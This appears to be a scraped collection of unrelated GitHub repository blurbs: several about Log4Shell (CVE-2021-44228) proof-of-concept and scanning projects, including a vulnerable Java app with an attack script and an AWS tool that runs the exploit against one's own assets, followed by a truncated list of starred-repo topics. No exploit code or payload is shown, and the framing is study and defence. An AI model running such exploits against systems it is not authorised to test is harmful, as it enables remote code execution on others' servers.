Log4j Shell Poc This is a simple example only used to study the cause/behaviors/capabilities of CVE-2021-44228 vuln-pakgs Old versions of log4j packages that are needed to perform CVE-2021-44228 POC vuln-app Contains a vulnerable java app using Log4j and an attack shell script to test the concept of vulnerability

Little recap of the log4j2 remote code execution (CVE-2021-44228)

Little recap of the log4j2 remote code execution (CVE-2021-44228) Requirements maven >= 3 java >= 8 no running ldap on 127001:1389 Usage Build with maven mvn test The surefire plugin will be executed two times: ExploitabilityTest proofs the expolitability of the bug MitigationTest will be executed with the vm prop

we are providing DevOps and security teams script to identify cloud workloads that may be vulnerable to the Log4j vulnerability(CVE-2021-44228) in their AWS account. The script enables security teams to identify external-facing AWS assets by running the exploit on them, and thus be able to map them and quickly patch them

Introduction we are providing DevOps and security teams script to identify cloud workloads that may be vulnerable to the Log4j vulnerability(log4shell) in their AWS account We currently support "CVE-2021-44228" and "CVE-2021-45046" RCE vulnerabilities The script enables security teams to identify external-facing AWS assets by running the exploit on them, a

My starred Repos

Awesome Stars A curated list of my GitHub stars! Generated by starred Contents ai algorithm analytics android angular ansible api archlinux arduino artificial-intelligence automation awesome awesome-list aws azure backend bash bootstrap bot c chatgpt chatgpt-api chrome chrome-extension cli clojure code compiler computer-science cpp csharp css cybersecurity dart data-analys